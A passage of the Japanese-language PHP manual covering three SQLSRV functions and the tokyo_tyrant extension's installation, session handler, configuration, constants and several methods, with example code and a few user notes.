
There are no user contributed notes for this page.


Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

  • ≪ sqlsrv_rollback
  • sqlsrv_send_stream_data ≫
  • PHP Manual
  • SQLSRV 関数
  • Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

sqlsrv_rows_affected

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_rows_affected — Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed

説明

sqlsrv_rows_affected ( resource $stmt ) : int

Returns the number of rows modified by the last INSERT, UPDATE, or DELETE query executed. For information about the number of rows returned by a SELECT query, see sqlsrv_num_rows().

パラメータ

stmt

The executed statement resource for which the number of affected rows is returned.

返り値

Returns the number of rows affected by the last INSERT, UPDATE, or DELETE query. If no rows were affected, 0 is returned. If the number of affected rows cannot be determined, -1 is returned. If an error occurred, false is returned.

例

例1 sqlsrv_rows_affected() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1 SET data = ? WHERE id = ?";

$params = array("updated data", 1);

$stmt = sqlsrv_query( $conn, $sql, $params);

$rows_affected = sqlsrv_rows_affected( $stmt);
if( $rows_affected === false) {
     die( print_r( sqlsrv_errors(), true));
} elseif( $rows_affected == -1) {
      echo "No information available.<br />";
} else {
      echo $rows_affected." rows were updated.<br />";
}
?>

参考

  • sqlsrv_num_rows() - Retrieves the number of rows in a result set

User Contributed Notes

There are no user contributed notes for this page.


Sends data from parameter streams to the server

  • ≪ sqlsrv_rows_affected
  • sqlsrv_server_info ≫
  • PHP Manual
  • SQLSRV 関数
  • Sends data from parameter streams to the server

sqlsrv_send_stream_data

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_send_stream_data — Sends data from parameter streams to the server

説明

sqlsrv_send_stream_data ( resource $stmt ) : bool

Send data from parameter streams to the server. Up to 8 KB of data is sent with each call.

パラメータ

stmt

A statement resource returned by sqlsrv_query() or sqlsrv_execute().

返り値

Returns true if there is more data to send and false if there is not.

例

例1 sqlsrv_send_stream_data() example

<?php
$serverName = "serverName\sqlexpress";
$connectionInfo = array( "Database"=>"dbName", "UID"=>"username", "PWD"=>"password" );
$conn = sqlsrv_connect( $serverName, $connectionInfo);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$sql = "UPDATE Table_1 SET data = ( ?) WHERE id = 100";

// Open parameter data as a stream and put it in the $params array.
$data = fopen( "data://text/plain,[ Lengthy content here. ]", "r");
$params = array( &$data);

// Prepare the statement. Use the $options array to turn off the
// default behavior, which is to send all stream data at the time of query
// execution.
$options = array("SendStreamParamsAtExec"=>0);
$stmt = sqlsrv_prepare( $conn, $sql, $params, $options);

sqlsrv_execute( $stmt);

// Send up to 8K of parameter data to the server
// with each call to sqlsrv_send_stream_data.
$i = 1;
while( sqlsrv_send_stream_data( $stmt)) {
      $i++;
}
echo "$i calls were made.";
?>

参考

  • sqlsrv_prepare() - Prepares a query for execution
  • sqlsrv_query() - Prepares and executes a query

User Contributed Notes

There are no user contributed notes for this page.


Returns information about the server

  • ≪ sqlsrv_send_stream_data
  • tokyo_tyrant ≫
  • PHP Manual
  • SQLSRV 関数
  • Returns information about the server

sqlsrv_server_info

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

sqlsrv_server_info — Returns information about the server

説明

sqlsrv_server_info ( resource $conn ) : array

Returns information about the server.

パラメータ

conn

The connection resource that connects the client and the server.

返り値

Returns an array as described in the following table:

Returned Array
CurrentDatabase | The connected-to database.
SQLServerVersion | The SQL Server version.
SQLServerName | The name of the server.

例

例1 sqlsrv_server_info() example

<?php
$serverName = "serverName\sqlexpress";
$conn = sqlsrv_connect( $serverName);
if( $conn === false ) {
     die( print_r( sqlsrv_errors(), true));
}

$server_info = sqlsrv_server_info( $conn);
if( $server_info )
{
    foreach( $server_info as $key => $value) {
       echo $key.": ".$value."<br />";
    }
} else {
      die( print_r( sqlsrv_errors(), true));
}
?>

参考

  • sqlsrv_client_info() - Returns information about the client and specified connection

User Contributed Notes

There are no user contributed notes for this page.


tokyo_tyrant

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • 例
  • TokyoTyrant — TokyoTyrant クラス
    • TokyoTyrant::add — 数値キーを加算する
    • TokyoTyrant::connect — データベースに接続する
    • TokyoTyrant::connectUri — データベースに接続する
    • TokyoTyrant::__construct — 新しい TokyoTyrant オブジェクトを作成する
    • TokyoTyrant::copy — データベースをコピーする
    • TokyoTyrant::ext — リモートスクリプトを実行する
    • TokyoTyrant::fwmKeys — 前方一致でマッチするキーを返す
    • TokyoTyrant::get — 値を取得する
    • TokyoTyrant::getIterator — イテレータを取得する
    • TokyoTyrant::num — データベース内のレコードの数を取得する
    • TokyoTyrant::out — レコードを削除する
    • TokyoTyrant::put — 値を格納する
    • TokyoTyrant::putCat — レコードを連結する
    • TokyoTyrant::putKeep — レコードを書き込む
    • TokyoTyrant::putNr — 値を格納する
    • TokyoTyrant::putShl — レコードを連結する
    • TokyoTyrant::restore — データベースをリストアする
    • TokyoTyrant::setMaster — レプリケーションのマスタを設定する
    • TokyoTyrant::size — 値のサイズを返す
    • TokyoTyrant::stat — 統計情報を取得する
    • TokyoTyrant::sync — データベースを同期させる
    • TokyoTyrant::tune — 接続の値を調節する
    • TokyoTyrant::vanish — データベースを空にする
  • TokyoTyrantTable — TokyoTyrantTable クラス
    • TokyoTyrantTable::add — レコードを追加する
    • TokyoTyrantTable::genUid — 一意な id を生成する
    • TokyoTyrantTable::get — 行を取得する
    • TokyoTyrantTable::getIterator — イテレータを取得する
    • TokyoTyrantTable::getQuery — クエリオブジェクトを取得する
    • TokyoTyrantTable::out — レコードを削除する
    • TokyoTyrantTable::put — 行を格納する
    • TokyoTyrantTable::putCat — 行を連結する
    • TokyoTyrantTable::putKeep — 新しいレコードを書き込む
    • TokyoTyrantTable::putNr — 値を格納する
    • TokyoTyrantTable::putShl — レコードを連結する
    • TokyoTyrantTable::setIndex — インデックスを設定する
  • TokyoTyrantQuery — TokyoTyrantQuery クラス
    • TokyoTyrantQuery::addCond — 条件をクエリに追加する
    • TokyoTyrantQuery::__construct — 新しいクエリを作成する
    • TokyoTyrantQuery::count — レコードを数える
    • TokyoTyrantQuery::current — 現在の要素を返す
    • TokyoTyrantQuery::hint — クエリのヒント文字列を取得する
    • TokyoTyrantQuery::key — 現在のキーを返す
    • TokyoTyrantQuery::metaSearch — 複数のクエリからレコードを取得する
    • TokyoTyrantQuery::next — イテレータを次のエントリに移動する
    • TokyoTyrantQuery::out — クエリに基づいてレコードを削除する
    • TokyoTyrantQuery::rewind — イテレータを巻き戻す
    • TokyoTyrantQuery::search — レコードを検索する
    • TokyoTyrantQuery::setLimit — 結果を制限する
    • TokyoTyrantQuery::setOrder — 結果を並べ替える
    • TokyoTyrantQuery::valid — 現在のアイテムの有効性をチェックする
  • TokyoTyrantIterator — TokyoTyrantIterator クラス
    • TokyoTyrantIterator::__construct — イテレータを作成する
    • TokyoTyrantIterator::current — 現在の値を取得する
    • TokyoTyrantIterator::key — 現在のキーを返す
    • TokyoTyrantIterator::next — 次のキーに移動する
    • TokyoTyrantIterator::rewind — イテレータを巻き戻す
    • TokyoTyrantIterator::valid — イテレータが有効かどうかを調べる
  • TokyoTyrantException — TokyoTyrantException クラス

User Contributed Notes

dylmye 01-Feb-2016 07:15
the developers of Tokyo Tyrant suggest to use Kyoto Tycoon instead, as it is vastly superior in most aspects (see here: http://fallabs.com/tokyotyrant/ ).
Tokyo Tyrant has not been updated in nearly 6 years.

On the other hand, FAL Labs last updated Kyoto Tycoon nearly 4 years ago, so maybe it's best just to leave both of these behind.


はじめに

tokyo_tyrant 拡張モジュールは、Tokyo Tyrant クライアントライブラリのラッパーです。 通常の key-value API とテーブル API を用意しています。

"Tokyo Tyrant は、Tokyo Cabinet という DBM へのネットワークインターフェイスのパッケージです。 Tokyo Cabinet のパフォーマンスは優れていますが、複数プロセスに同じデータベースを共有させたり リモートプロセスにデータベースをアクセスさせたりすると少し面倒です。そこで、 Tokyo Cabinet への同時接続やリモート接続機能を持つ Tokyo Tyrant を作ったのです。 これは、データベースを管理するサーバープロセスと クライアントアプリケーション用のアクセスライブラリから構成されています" (Tokyo Tyrant のドキュメント より)

Tokyo Tyrant は平林幹雄 (Mikio Hirabayashi) さんの作品で、GNU Lesser General Public License で公開されています。

User Contributed Notes

There are no user contributed notes for this page.


要件

この拡張モジュールを使うには Tokyo Cabinet と Tokyo Tyrant をインストールする必要があります。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この PECL 拡張モジュールをインストールする方法は、 マニュアルの PECL 拡張モジュールのインストール という章にあります。 新規リリース・ダウンロード・ソースファイル・管理者情報・CHANGELOG といった関連する情報については、次の場所にあります。 » https://pecl.php.net/package/tokyo_tyrant

設定オプション

  • --with-tokyo-tyrant[=DIR] DIR は Tokyo Tyrant のインストール先のプレフィックス
  • --with-tokyo-cabinet-dir[=DIR] DIR は Tokyo Cabinet のインストール先のプレフィックス
  • --disable-tokyo-tyrant-session Tokyo Tyrant セッションハンドラのサポートを無効にする

この拡張モジュールの有効化

この拡張モジュールを使うには、INI 設定に extension=tokyo_tyrant.so を追加します。

Tokyo Tyrant セッションハンドラの実行

ttserver -port 2000 -ext /path/to/expire.lua -extpc expire 30.0 '/tmp/sessions.tct#idx=ts:dec'

注意: expire.lua は、tokyo_tyrant 拡張モジュールのソースに含まれています。

セッションハンドラの設定

  • tokyo_tyrant.session_salt="randomlongstring"
  • session.save_handler=tokyo_tyrant
  • session.save_path="tcp://hostname1:2000,tcp://hostname2:2000"

注意: tokyo_tyrant.session_salt はすべてのサーバー上でマッチしなければなりません。

動作原理

このセッションハンドラは、次のようなセッション ID を作成します。 8b0e27a823fa4a6cf7246945b82c1d51-a5eadbbed1f2075952900628456bfd6830541629-0-5460

各パートは、左から順に次のような意味となります。

  • セッション ID - 生成されたセッション ID
  • チェックサム - セッションの salt、セッション ID、ノード ID そして主キーのチェックサム
  • ノード ID - セッションが対応付けられるノードの ID
  • 主キー - セッションが格納される行の主キー

チェックサムは、ノード ID、主キー、セッション ID そして salt の SHA1 サムとなります。 これを使うことで、セッション ID からノードや主キーへのマッピングが高速に行えるようになります。 わざわざ検索する必要がないからです。セッション ID を再生成すると最初のふたつの部分が変わりますが、 ノードと主キーのマッピングはそのままとなります。

一部のノードがダウンしたときのフェイルオーバー処理は、INI 設定 tokyo_tyrant.allow_failover、 tokyo_tyrant.fail_threshold および tokyo_tyrant.health_check_divisor で制御します。フェイルオーバーが許可されると、 セッションハンドラは正常なノードにセッションをマップして新たに空のセッションを作成します。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

tokyo_tyrant 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
tokyo_tyrant.default_timeout | 2.0 | PHP_INI_ALL |
tokyo_tyrant.session_salt | null | PHP_INI_ALL |
tokyo_tyrant.key_prefix | null | PHP_INI_ALL |
tokyo_tyrant.allow_failover | 1 | PHP_INI_ALL |
tokyo_tyrant.fail_threshold | 5 | PHP_INI_ALL |
tokyo_tyrant.health_check_divisor | 1000 | PHP_INI_ALL |
tokyo_tyrant.php_expiration | 0 | PHP_INI_ALL |

以下に設定ディレクティブに関する 簡単な説明を示します。

tokyo_tyrant.default_timeout int

データベースへの接続時のデフォルトのタイムアウト。

tokyo_tyrant.session_salt string

セッション ID の salt として使う秘密の値。

tokyo_tyrant.key_prefix string

すべてのキーの先頭につけるプレフィックス。 このプレフィックスは開発者に見えてしまうものですが、 複数のアプリケーションが同じデータベースを使う場合にキーが衝突しないようにできます。

tokyo_tyrant.allow_failover int

サーバーが死んだときにフェイルオーバーを許可するかどうか。

tokyo_tyrant.fail_threshold int

読み書き、あるいは接続時の失敗を何度繰り返したときにそのサーバーが死んだとみなすか。

tokyo_tyrant.health_check_divisor int

Defines the divisor for the health check probability. If there are failed servers and the probability matches, the servers are health checked and in case the server seems healthy, it will be added back to the pool.

tokyo_tyrant.php_expiration int

組み込みのセッション有効期限管理を使うか、 あるいはサーバー側の lua スクリプトに有効期限管理を委譲するか。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

TokyoTyrant の定数

User Contributed Notes

There are no user contributed notes for this page.


例

基本的な使用法

例1 key-value ペアの格納と取得

<?php
$tt = new TokyoTyrant("localhost");
$tt->put("key", "value");
echo $tt->get("key");
?>

上の例の出力は以下となります。

value

User Contributed Notes

There are no user contributed notes for this page.


TokyoTyrant クラス

(PECL tokyo_tyrant >= 0.1.0)

はじめに

Tokyo Tyrant のメインクラスです。

クラス概要

TokyoTyrant {
/* 定数 */
const int RDBDEF_PORT = 1978 ;
const int RDBQC_STREQ = 0 ;
const int RDBQC_STRINC = 1 ;
const int RDBQC_STRBW = 2 ;
const int RDBQC_STREW = 3 ;
const int RDBQC_STRAND = 4 ;
const int RDBQC_STROR = 5 ;
const int RDBQC_STROREQ = 6 ;
const int RDBQC_STRRX = 7 ;
const int RDBQC_NUMEQ = 8 ;
const int RDBQC_NUMGT = 9 ;
const int RDBQC_NUMGE = 10 ;
const int RDBQC_NUMLT = 11 ;
const int RDBQC_NUMLE = 12 ;
const int RDBQC_NUMBT = 13 ;
const int RDBQC_NUMOREQ = 14 ;
const int RDBQC_NEGATE = 16777216 ;
const int RDBQC_NOIDX = 33554432 ;
const int RDBQO_STRASC = 0 ;
const int RDBQO_STRDESC = 1 ;
const int RDBQO_NUMASC = 2 ;
const int RDBQO_NUMDESC = 3 ;
const int RDBIT_LEXICAL = 0 ;
const int RDBIT_DECIMAL = 1 ;
const int RDBIT_TOKEN = 2 ;
const int RDBIT_QGRAM = 3 ;
const int RDBIT_OPT = 9998 ;
const int RDBIT_VOID = 9999 ;
const int RDBIT_KEEP = 16777216 ;
const int RDBQCFTS_PH = 15 ;
const int RDBQCFTS_AND = 16 ;
const int RDBQCFTS_OR = 17 ;
const int RDBQCFTS_EX = 18 ;
const int RDBXO_LCKREC = 1 ;
const int RDBXOLCK_GLB = 2 ;
const int RDBREC_INT = 1 ;
const int RDBREC_DBL = 2 ;
const int RDBMS_UNION = 0 ;
const int RDBMS_ISECT = 1 ;
const int RDBMS_DIFF = 2 ;
const int RDBT_RECON = 1 ;
/* メソッド */
public add ( string $key , int|float $increment , int $type = 0 ) : int|float
public connect ( string $host , int $port = TokyoTyrant::RDBDEF_PORT , array $options = ? ) : TokyoTyrant
public connectUri ( string $uri ) : TokyoTyrant
public __construct ( string $host = ? , int $port = TokyoTyrant::RDBDEF_PORT , array $options = ? )
public copy ( string $path ) : TokyoTyrant
public ext ( string $name , int $options , string $key , string $value ) : string
public fwmKeys ( string $prefix , int $max_recs ) : array
public get ( mixed $keys ) : mixed
public getIterator ( ) : TokyoTyrantIterator
public num ( ) : int
public out ( mixed $keys ) : TokyoTyrant
public put ( mixed $keys , string $value = NULL ) : TokyoTyrant
public putCat ( mixed $keys , string $value = ? ) : TokyoTyrant
public putKeep ( mixed $keys , string $value = ? ) : TokyoTyrant
public putNr ( mixed $keys , string $value = NULL ) : TokyoTyrant
public putShl ( string $key , string $value , int $width ) : mixed
public restore ( string $log_dir , int $timestamp , bool $check_consistency = true ) : mixed
public setMaster ( string $host , int $port , int $timestamp , bool $check_consistency = true ) : mixed
public size ( string $key ) : int
public stat ( ) : array
public sync ( ) : mixed
public tune ( float $timeout , int $options = TokyoTyrant::RDBT_RECON ) : TokyoTyrant
public vanish ( ) : mixed
}

定義済み定数

TokyoTyrant の定数

TokyoTyrant::RDBDEF_PORT

Tokyo Tyrant データベースのデフォルトのポート

TokyoTyrant::RDBQC_STREQ

文字列が～に等しい

TokyoTyrant::RDBQC_STRINC

文字列が～に含まれる

TokyoTyrant::RDBQC_STRBW

文字列が～で始まる

TokyoTyrant::RDBQC_STREW

文字列が～で終わる

TokyoTyrant::RDBQC_STRAND

文字列が～のすべてのトークンを含む

TokyoTyrant::RDBQC_STROR

文字列が～の少なくともひとつのトークンを含む

TokyoTyrant::RDBQC_STROREQ

文字列が～の少なくともひとつのトークンに等しい

TokyoTyrant::RDBQC_STRRX

文字列が正規表現にマッチする

TokyoTyrant::RDBQC_NUMEQ

数値が～に等しい

TokyoTyrant::RDBQC_NUMGT

数値が～より大きい

TokyoTyrant::RDBQC_NUMGE

数値が～以上

TokyoTyrant::RDBQC_NUMLT

数値が～未満

TokyoTyrant::RDBQC_NUMLE

数値が～以下

TokyoTyrant::RDBQC_NUMBT

数値が～と～の間にある

TokyoTyrant::RDBQC_NUMOREQ

数値が～のすくなくともひとつのトークンに等しい

TokyoTyrant::RDBQC_NEGATE

否定フラグ

TokyoTyrant::RDBQC_NOIDX

非インデックスフラグ

TokyoTyrant::RDBQO_STRASC

文字列の昇順

TokyoTyrant::RDBQO_STRDESC

文字列の降順

TokyoTyrant::RDBQO_NUMASC

数値の昇順

TokyoTyrant::RDBQO_NUMDESC

数値の降順

TokyoTyrant::RDBIT_LEXICAL

レキシカル文字列

TokyoTyrant::RDBIT_DECIMAL

十進文字列

TokyoTyrant::RDBIT_TOKEN

トークン転置インデックス (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBIT_QGRAM

QGRAM 転置インデックス (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBIT_OPT

最適化

TokyoTyrant::RDBIT_VOID

void

TokyoTyrant::RDBIT_KEEP

既存のインデックスを保持する

TokyoTyrant::RDBQCFTS_PH

フレーズによる全文検索 (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBQCFTS_AND

すべてのトークンを含むものを全文検索 (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBQCFTS_OR

少なくともひとつのトークンを含むものを全文検索 (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBQCFTS_EX

複合式による全文検索 (Tokyo Tyrant >= 1.1.29)

TokyoTyrant::RDBQCFTS_AND

レコード間の union メタ検索 (Tokyo Tyrant >= 1.1.33)

TokyoTyrant::RDBQCFTS_OR

レコード間の intersection メタ検索 (Tokyo Tyrant >= 1.1.33)

TokyoTyrant::RDBQCFTS_EX

レコード間の difference メタ検索 (Tokyo Tyrant >= 1.1.33)

TokyoTyrant::RDBT_RECON

接続失敗時に再接続するかどうか。 持続的な接続の場合はこのパラメータを on にしておくことを推奨します。

TokyoTyrant::RDBXOLCK_REC

レコードロック

TokyoTyrant::RDBXOLCK_GLB

グローバルロック

TokyoTyrant::RDBREC_INT

レコード型 int

TokyoTyrant::RDBREC_DBL

レコード型 float (double)

TokyoTyrant::TTE_SUCCESS

成功

TokyoTyrant::TTE_INVALID

無効な操作

TokyoTyrant::TTE_NOHOST

ホストが見つからない

TokyoTyrant::TTE_REFUSED

接続が拒否された

TokyoTyrant::TTE_SEND

送信エラー

TokyoTyrant::TTE_RECV

受信エラー

TokyoTyrant::TTE_KEEP

レコードが存在する

TokyoTyrant::TTE_NOREC

レコードが見つからない

TokyoTyrant::TTE_MISC

その他雑多なエラー

目次

  • TokyoTyrant::add — 数値キーを加算する
  • TokyoTyrant::connect — データベースに接続する
  • TokyoTyrant::connectUri — データベースに接続する
  • TokyoTyrant::__construct — 新しい TokyoTyrant オブジェクトを作成する
  • TokyoTyrant::copy — データベースをコピーする
  • TokyoTyrant::ext — リモートスクリプトを実行する
  • TokyoTyrant::fwmKeys — 前方一致でマッチするキーを返す
  • TokyoTyrant::get — 値を取得する
  • TokyoTyrant::getIterator — イテレータを取得する
  • TokyoTyrant::num — データベース内のレコードの数を取得する
  • TokyoTyrant::out — レコードを削除する
  • TokyoTyrant::put — 値を格納する
  • TokyoTyrant::putCat — レコードを連結する
  • TokyoTyrant::putKeep — レコードを書き込む
  • TokyoTyrant::putNr — 値を格納する
  • TokyoTyrant::putShl — レコードを連結する
  • TokyoTyrant::restore — データベースをリストアする
  • TokyoTyrant::setMaster — レプリケーションのマスタを設定する
  • TokyoTyrant::size — 値のサイズを返す
  • TokyoTyrant::stat — 統計情報を取得する
  • TokyoTyrant::sync — データベースを同期させる
  • TokyoTyrant::tune — 接続の値を調節する
  • TokyoTyrant::vanish — データベースを空にする

User Contributed Notes

Min He 18-May-2010 03:52
TokyoTyrant::RDBQC_STREQ is case sensitive. The key in TokyoCabinet is case sensitive too.

For instance:

<?php
$tt->put("test",array("column1"=>"data1"));
$tt->put("Test",array("Column1"=>"data1"));
?>

added 2 rows in tc.

<?php
$query=$tt->getQuery();
$query->addCond("Column1", TokyoTyrant::RDBQC_STREQ, "data1");
$query->search();
?>

there will be only one result, and it's the row with key="Test".


数値キーを加算する

  • ≪ TokyoTyrant
  • TokyoTyrant::connect ≫
  • PHP Manual
  • TokyoTyrant
  • 数値キーを加算する

TokyoTyrant::add

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::add — 数値キーを加算する

説明

public TokyoTyrant::add ( string $key , int|float $increment , int $type = 0 ) : int|float

int あるいは double 値を加算します。 これは、指定した値を加算して新しい値を返します。 キーが存在しない場合は、新しいキーを作成してここで指定した値を初期値とします。

パラメータ

key

文字列キー。

increment

加算する値。

type

TokyoTyrant::RDBREC_INT あるいは TokyoTyrant::RDBREC_DBL 定数。 このパラメータを省略した場合は、increment の型をもとに型を推測します。

返り値

成功した場合に新しい値を返します。

例

例1 TokyoTyrant::add() の例

<?php
$tt = new TokyoTyrant("localhost", TokyoTyrant::RDBDEF_PORT);
/* 数値 3 をキーに追加し、新しいキーを作成します */
$tt->add("test", 3);

/* 文字列は double に変換されます */
echo $tt->add("test", "3.5", TokyoTyrant::RDBREC_DBL);
?>

上の例の出力は、 たとえば以下のようになります。

6.5

参考

  • TokyoTyrant::put() - 値を格納する
  • TokyoTyrant::putcat() - レコードを連結する
  • TokyoTyrant::putkeep() - レコードを書き込む

User Contributed Notes

There are no user contributed notes for this page.


データベースに接続する

  • ≪ TokyoTyrant::add
  • TokyoTyrant::connectUri ≫
  • PHP Manual
  • TokyoTyrant
  • データベースに接続する

TokyoTyrant::connect

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::connect — データベースに接続する

説明

public TokyoTyrant::connect ( string $host , int $port = TokyoTyrant::RDBDEF_PORT , array $options = ? ) : TokyoTyrant

リモートデータベースに接続します。

パラメータ

host

ホスト名。

port

ポート番号。デフォルトは 1978。

options

接続のオプション。timeout (デフォルト: 5.0), reconnect (デフォルト: true) および persistent (デフォルト: true)。

返り値

現在のオブジェクトを返します。失敗した場合は TokyoTyrantException をスローします。

例

例1 TokyoTyrant::connect() の例

<?php
$tt = new TokyoTyrant();
$tt->connect("localhost", TokyoTyrant::RDBDEF_PORT)->put("test", "value");
?>

参考

  • TokyoTyrant::connectUri() - データベースに接続する

User Contributed Notes

There are no user contributed notes for this page.


データベースに接続する

  • ≪ TokyoTyrant::connect
  • TokyoTyrant::__construct ≫
  • PHP Manual
  • TokyoTyrant
  • データベースに接続する

TokyoTyrant::connectUri

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::connectUri — データベースに接続する

説明

public TokyoTyrant::connectUri ( string $uri ) : TokyoTyrant

URI を使用してデータベースに接続します。

パラメータ

uri

データベースへの URI。たとえば tcp://localhost:1979/ のようになります。

返り値

現在のオブジェクトを返します。失敗した場合は TokyoTyrantException をスローします。

例

例1 TokyoTyrant::connectUri() の例

<?php
$tt = new TokyoTyrant();
$tt->connectUri("tcp://localhost:1978/")->put("test", "hi");
?>

参考

  • TokyoTyrant::connect() - データベースに接続する

User Contributed Notes

There are no user contributed notes for this page.


新しい TokyoTyrant オブジェクトを作成する

  • ≪ TokyoTyrant::connectUri
  • TokyoTyrant::copy ≫
  • PHP Manual
  • TokyoTyrant
  • 新しい TokyoTyrant オブジェクトを作成する

TokyoTyrant::__construct

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::__construct — 新しい TokyoTyrant オブジェクトを作成する

説明

public TokyoTyrant::__construct ( string $host = ? , int $port = TokyoTyrant::RDBDEF_PORT , array $options = ? )

新しい TokyoTyrant オブジェクトを作成し、オプションでデータベースに接続する

パラメータ

host

ホスト名。デフォルトは null です。

port

ポート番号。デフォルトは 1978 です。

options

接続のオプション。timeout (デフォルト: 5.0), reconnect (デフォルト: true) および persistent (デフォルト: true)。

返り値

データベースへの接続が失敗した場合に TokyoTyrantException をスローします。

参考

  • TokyoTyrant::connect() - データベースに接続する
  • TokyoTyrant::connectUri() - データベースに接続する

User Contributed Notes

bit dot kevin at gmail dot com 25-Sep-2010 02:55
Catch The Exception
<?php
        try {
            $tt = new TokyoTyrant("192.168.1.100", 11211);
        }catch (TokyoTyrantException $e) {
            var_dump($e);
            exit;
        }
?>


データベースをコピーする

  • ≪ TokyoTyrant::__construct
  • TokyoTyrant::ext ≫
  • PHP Manual
  • TokyoTyrant
  • データベースをコピーする

TokyoTyrant::copy

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::copy — データベースをコピーする

説明

public TokyoTyrant::copy ( string $path ) : TokyoTyrant

現在のデータベースのコピーを作成します。

パラメータ

path

データベースのコピー先へのパス。リモートデータベースを実行しているユーザーが、 そのディレクトリへの書き込みアクセス権を持っている必要があります。

返り値

現在のオブジェクトを返します。失敗した場合は TokyoTyrantException をスローします。

例

例1 TokyoTyrant::copy() の例

<?php
$tt = new TokyoTyrant("localhost", 1978);
$tt->copy("/tmp/foobar.tct");
?>

参考

  • TokyoTyrant::restore() - データベースをリストアする

User Contributed Notes

There are no user contributed notes for this page.


リモートスクリプトを実行する

  • ≪ TokyoTyrant::copy
  • TokyoTyrant::fwmKeys ≫
  • PHP Manual
  • TokyoTyrant
  • リモートスクリプトを実行する

TokyoTyrant::ext

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::ext — リモートスクリプトを実行する

説明

public TokyoTyrant::ext ( string $name , int $options , string $key , string $value ) : string

リモートスクリプトを実行します。

パラメータ

name

実行したい関数の名前。

options

レコードロックの場合は TokyoTyrant::RDBXO_LCKREC、 グローバルロックの場合は TokyoTyrant::RDBXO_LCKGLB。

key

関数に渡すキー。

value

関数に渡す値。

返り値

スクリプト関数の結果を返します。

例

例1 TokyoTyrant::ext() の例

<?php
$tt = new TokyoTyrant("localhost", 1978);
echo $tt->ext("somefunc", TokyoTyrant::RDBXO_LCKREC, "some_key", "some_value");
?>

User Contributed Notes

There are no user contributed notes for this page.


前方一致でマッチするキーを返す

  • ≪ TokyoTyrant::ext
  • TokyoTyrant::get ≫
  • PHP Manual
  • TokyoTyrant
  • 前方一致でマッチするキーを返す

TokyoTyrant::fwmKeys

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::fwmKeys — 前方一致でマッチするキーを返す

説明

public TokyoTyrant::fwmKeys ( string $prefix , int $max_recs ) : array

前方一致でマッチするキーをデータベースから返します。

パラメータ

prefix

キーのプレフィックス。

max_recs

返すレコードの最大数。

返り値

マッチしたキーの配列を返します。値は返しません。

例

例1 TokyoTyrant::fwmKeys() の例

<?php

$tt = new TokyoTyrant("localhost");

/* マッチするキーを 20 件作成します */
for ($i = 0; $i < 20; $i++) {
    $tt->put("key_" . $i, "value_" . $i);
}

/* マッチしないキーを 20 件作成します */
for ($i = 0; $i < 20; $i++) {
    $tt->put("something_" . $i, "data_" . $i);
}

/* マッチするキーを 5 件取得します */
var_dump($tt->fwmKeys("key_", 5));
?>

上の例の出力は、 たとえば以下のようになります。

array(5) {
  [0]=>
  string(5) "key_5"
  [1]=>
  string(6) "key_14"
  [2]=>
  string(5) "key_6"
  [3]=>
  string(6) "key_15"
  [4]=>
  string(5) "key_7"
}

User Contributed Notes

There are no user contributed notes for this page.


値を取得する

  • ≪ TokyoTyrant::fwmKeys
  • TokyoTyrant::getIterator ≫
  • PHP Manual
  • TokyoTyrant
  • 値を取得する

TokyoTyrant::get

(PECL tokyo_tyrant >= 0.1.0)

TokyoTyrant::get — 値を取得する

説明

public TokyoTyrant::get ( mixed $keys ) : mixed

このメソッドは、値を返します。文字列あるいは配列を渡すことができます。

パラメータ

keys

キーをあらわす文字列、あるいは文字列の配列。

返り値

指定した引数に応じて、文字列あるいは配列を返します。 エラー時に TokyoTyrantException をスローします。 文字列を渡したときに、もしそのキーが見つからなければ null を返します。 配列を渡したときは、存在するキーのみを返します。存在しないキーを渡してもエラーにはなりません。

例

例1 TokyoTyrant::get() の例

<?php
$tt = new TokyoTyrant("localhost", 1978);
$tt->put("key1", "value1");
$tt->put("key2", "value2");
var_dump($tt->get(array("key1", "key2")));
var_dump($tt->get("key1"));
?>

上の例の出力は以下となります。

array(2) {
  ["key1"]=>
  string(6) "value1"
  ["key2"]=>
  string(6) "value2"
}
string(6) "value1"

参考

  • TokyoTyrant::put() - 値を格納する

User Contributed Notes

There are no user contributed notes for this page.


イテレータを取得する

  • ≪ TokyoTyrant::get
  • TokyoTyrant::num ≫
  • PHP Manual
  • TokyoTyrant
  • イテレータを取得する

TokyoTyrant::getIterator

(バージョン情報なし。おそらく Git 版にしか存在しないでしょう)

TokyoTyrant::getIterator — イテレータを取得する

説明

public TokyoTyrant::getIterator ( ) : TokyoTyrantIterator

イテレータを取得し、データベース内のすべての キー/値 を反復処理できるようにします。

パラメータ

この関数にはパラメータはありません。

返り値

TokyoTyrantIterator オブジェクトを返します。失敗した場合に TokyoTyrantException をスローします。

例

例1 TokyoTyrant::getIterator() の例

<?php
$tt = new TokyoTyrant("localhost");
$it = $tt->getIterator();

foreach ($it as $k => $v) {

}
?>

参考

  • TokyoTyrantTable::getQuery() - クエリオブジェクトを取得する
